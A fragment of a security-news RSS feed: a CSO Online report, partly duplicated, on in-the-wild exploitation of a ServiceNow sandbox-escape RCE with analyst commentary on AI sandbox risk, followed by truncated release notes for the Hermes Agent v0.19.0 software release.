<p class="wp-block-paragraph">Defused CEO <a href="https://www.linkedin.com/in/simokohonen" target="_blank" rel="noreferrer noopener">Simo Kohonen</a>, in an interview with CSO Online, noted that it appeared that the attacker has changed its tactics from those documented in an earlier proof of concept (PoC) from researchers at Searchlight Cyber, in response to ServiceNow patches and defenses. The company had implemented five different mitigations in its code base, which “neutered” the initial attack methodology, he said, adding that, overall, his team is seeing more attack method tweaks than it used to see. </p>



<p class="wp-block-paragraph">“We are seeing a lot of [attack] variations, much more so than a year ago, for the same vulnerability,” Kohonen said. Attackers “now have more tools to build their own stuff.”</p>



<p class="wp-block-paragraph">However, he admitted that his team has thus far only observed this exploit an in the wild exploitation “once, by one actor.” </p>



<p class="wp-block-paragraph">In response to the report, ServiceNow issued a statement saying that it has not yet directly seen any such exploitations. </p>



<p class="wp-block-paragraph">“ServiceNow is aware of a cybersecurity company’s recent publication regarding exploitation activity associated with a previously disclosed security vulnerability, identified as <a href="https://support.servicenow.com/kb/kb/kb/kb?id=kb_article_view&amp;sysparm_article=KB3137947" target="_blank" rel="noreferrer noopener">CVE-2026-6875</a>. Based on our investigation to date, we have not observed evidence that this activity is related to instances that ServiceNow hosts,” the emailed statement said. “We have provided updates and patches designed to address this issue, and we encourage our self-hosted and ServiceNow-hosted customers to apply the relevant patches if they have not already done so.”</p>



<h2 class="wp-block-heading">A ‘repeatable failure point’</h2>



<p class="wp-block-paragraph">Analysts and consultants said the bigger concern with this hole is that it focuses on the lack of protections in the sandbox, which many security and IT teams have relied on for years. </p>



<p class="wp-block-paragraph">“The vulnerability lets an attacker bypass ServiceNow’s scripting sandbox entirely, and researchers are now seeing exploitation using a different technique than the one originally published, which means signature-based defenses built on the first proof of concept are unlikely to catch every variant,” said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC. </p>



<p class="wp-block-paragraph">“A compromise that starts in the cloud tenant can end up inside the corporate network, turning a SaaS incident into an on-premises one,” he pointed out. “And because ServiceNow frequently houses HR records, CMDB asset data, and the ticketing system itself, an attacker sitting inside it may have visibility into how the incident response team is tracking the incident.”</p>



<p class="wp-block-paragraph">Dickson added that this incident is further proof that both IT and security teams need to reevaluate their patching methodologies. </p>



<p class="wp-block-paragraph">“Enterprises outsource patching for platforms like ServiceNow to the vendor, but keep the risk that comes from what those platforms touch: HR records, CMDB inventories, and now on-premises systems through MID Server integration. Control sits with the vendor, liability sits with the enterprise, and that mismatch argues for treating core SaaS platforms as part of the internal attack surface, not externalized vendor risk,” he said, noting that as vendors embed more AI-driven scripting into their platforms, the sandbox boundary becomes “a repeatable failure point.” </p>



<p class="wp-block-paragraph">Because of this, he advised, “CISOs should start asking every AI-enabled SaaS vendor how that boundary is architected and tested, before the next version of this story breaks elsewhere.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, said the sandbox escape is the more disturbing element of the issue. </p>



<p class="wp-block-paragraph">“The significance is not that ServiceNow had a critical bug, so much as the fact that the bug is a sandbox escape in the AI Platform, which means the containment layer specifically built to run untrusted AI-driven code safely is the thing that failed,” he said. “CISOs have been told repeatedly that the sandbox is what makes enterprise AI safe to deploy, but we’re now seeing the sandbox breaking and that should reframe how CISOs think about every feature sitting behind a similar wall.”</p>



<h2 class="wp-block-heading">Addition of AI increases blast radius</h2>



<p class="wp-block-paragraph">This is yet another example where AI is fundamentally changing just about every IT and security rule, he pointed out.</p>



<p class="wp-block-paragraph">“Enterprises are bolting AI onto their most privileged systems of record faster than anyone is updating the threat models for those systems, and the AI layer is becoming the softest part of the hardest targets,” Kenney said. “The real question for a CISO is how many of your critical platforms shipped an AI feature in the past year, and whether a single person in your organization can tell you what that did to the pre-auth attack surface. Most cannot, and that is the actual exposure.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, agreed.</p>



<p class="wp-block-paragraph">“A vulnerability that gives an attacker a foothold in the ServiceNow instance is now also a vulnerability that gives them access to whatever AI agents are running inside that instance, along with any capability tokens, service accounts, or delegated permissions those agents hold,” Mahapatra said. “The blast radius of a ServiceNow compromise in 2026 is meaningfully larger than the same compromise would have been in 2023, and most enterprise security programs have not caught up to that shift.”</p>



<p class="wp-block-paragraph">Defused’s Kohonen said that he did not disagree with the sandbox concerns, but he stressed that enterprise CISOs have long ago abandoned the belief that sandboxes are secure. </p>



<p class="wp-block-paragraph">“Nothing is foolproof, and having a sandbox is better than not having one,” he said. “But the belief that a sandbox removes all of the risk is incredibly dumb,” especially in the reality of today’s threat landscape, which contains “an endless conveyor belt of exploits.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ServiceNow’s sandbox escape RCE hole now exploited in the wild]]></title>
<description><![CDATA[A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to a report from threat intel firm Defused. 



The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceN...]]></description>
<link>https://tsecurity.de/de/3682130/it-nachrichten/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682130/it-nachrichten/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild/</guid>
<pubDate>Mon, 20 Jul 2026 22:47:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A sandbox security hole that could lead to remote code execution (RCE), patched last week by ServiceNow, is being actively exploited in the wild, according to <a href="https://x.com/defusedcyber/status/2078418391321219448" target="_blank" rel="noreferrer noopener">a report from threat intel firm Defused</a>. </p>



<p class="wp-block-paragraph">The report, posted on X, said the firm is “observing in-the-wild exploitation of the ServiceNow pre-auth sandbox-escape RCE (CVE-2026-6875).”</p>



<p class="wp-block-paragraph">Defused CEO <a href="https://www.linkedin.com/in/simokohonen" target="_blank" rel="noreferrer noopener">Simo Kohonen</a> noted in an interview that it appeared that the attacker has changed its tactics from those documented in an earlier proof of concept (PoC) from researchers at Searchlight Cyber, in response to ServiceNow patches and defenses. The company had implemented five different mitigations in its code base, which “neutered” the initial attack methodology, he said, adding that, overall, his team is seeing more attack method tweaks than it used to see. </p>



<p class="wp-block-paragraph">“We are seeing a lot of [attack] variations, much more so than a year ago, for the same vulnerability,” Kohonen said. Attackers “now have more tools to build their own stuff.”</p>



<p class="wp-block-paragraph">However, he admitted that his team has thus far only observed this exploit an in the wild exploitation “once, by one actor.” </p>



<p class="wp-block-paragraph">In response to the report, ServiceNow issued a statement saying that it has not yet directly seen any such exploitations. </p>



<p class="wp-block-paragraph">“ServiceNow is aware of a cybersecurity company’s recent publication regarding exploitation activity associated with a previously disclosed security vulnerability, identified as <a href="https://support.servicenow.com/kb/kb/kb/kb?id=kb_article_view&amp;sysparm_article=KB3137947" target="_blank" rel="noreferrer noopener">CVE-2026-6875</a>. Based on our investigation to date, we have not observed evidence that this activity is related to instances that ServiceNow hosts,” the emailed statement said. “We have provided updates and patches designed to address this issue, and we encourage our self-hosted and ServiceNow-hosted customers to apply the relevant patches if they have not already done so.”</p>



<h2 class="wp-block-heading">A ‘repeatable failure point’</h2>



<p class="wp-block-paragraph">Analysts and consultants said the bigger concern with this hole is that it focuses on the lack of protections in the sandbox, which many security and IT teams have relied on for years. </p>



<p class="wp-block-paragraph">“The vulnerability lets an attacker bypass ServiceNow’s scripting sandbox entirely, and researchers are now seeing exploitation using a different technique than the one originally published, which means signature-based defenses built on the first proof of concept are unlikely to catch every variant,” said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC. </p>



<p class="wp-block-paragraph">“A compromise that starts in the cloud tenant can end up inside the corporate network, turning a SaaS incident into an on-premises one,” he pointed out. “And because ServiceNow frequently houses HR records, CMDB asset data, and the ticketing system itself, an attacker sitting inside it may have visibility into how the incident response team is tracking the incident.”</p>



<p class="wp-block-paragraph">Dickson added that this incident is further proof that both IT and security teams need to reevaluate their patching methodologies. </p>



<p class="wp-block-paragraph">“Enterprises outsource patching for platforms like ServiceNow to the vendor, but keep the risk that comes from what those platforms touch: HR records, CMDB inventories, and now on-premises systems through MID Server integration. Control sits with the vendor, liability sits with the enterprise, and that mismatch argues for treating core SaaS platforms as part of the internal attack surface, not externalized vendor risk,” he said, noting that as vendors embed more AI-driven scripting into their platforms, the sandbox boundary becomes “a repeatable failure point.” </p>



<p class="wp-block-paragraph">Because of this, he advised, “CISOs should start asking every AI-enabled SaaS vendor how that boundary is architected and tested, before the next version of this story breaks elsewhere.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, said the sandbox escape is the more disturbing element of the issue. </p>



<p class="wp-block-paragraph">“The significance is not that ServiceNow had a critical bug, so much as the fact that the bug is a sandbox escape in the AI Platform, which means the containment layer specifically built to run untrusted AI-driven code safely is the thing that failed,” he said. “CISOs have been told repeatedly that the sandbox is what makes enterprise AI safe to deploy, but we’re now seeing the sandbox breaking and that should reframe how CISOs think about every feature sitting behind a similar wall.”</p>



<h2 class="wp-block-heading">Addition of AI increases blast radius</h2>



<p class="wp-block-paragraph">This is yet another example where AI is fundamentally changing just about every IT and security rule, he pointed out.</p>



<p class="wp-block-paragraph">“Enterprises are bolting AI onto their most privileged systems of record faster than anyone is updating the threat models for those systems, and the AI layer is becoming the softest part of the hardest targets,” Kenney said. “The real question for a CISO is how many of your critical platforms shipped an AI feature in the past year, and whether a single person in your organization can tell you what that did to the pre-auth attack surface. Most cannot, and that is the actual exposure.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, agreed.</p>



<p class="wp-block-paragraph">“A vulnerability that gives an attacker a foothold in the ServiceNow instance is now also a vulnerability that gives them access to whatever AI agents are running inside that instance, along with any capability tokens, service accounts, or delegated permissions those agents hold,” Mahapatra said. “The blast radius of a ServiceNow compromise in 2026 is meaningfully larger than the same compromise would have been in 2023, and most enterprise security programs have not caught up to that shift.”</p>



<p class="wp-block-paragraph">Defused’s Kohonen said that he did not disagree with the sandbox concerns, but he stressed that enterprise CISOs have long ago abandoned the belief that sandboxes are secure. </p>



<p class="wp-block-paragraph">“Nothing is foolproof, and having a sandbox is better than not having one,” he said. “But the belief that a sandbox removes all of the risk is incredibly dumb,” especially in the reality of today’s threat landscape, which contains “an endless conveyor belt of exploits.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.csoonline.com/article/4198993/servicenows-sandbox-escape-rce-hole-now-exploited-in-the-wild.html" target="_blank">CSOonline</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" 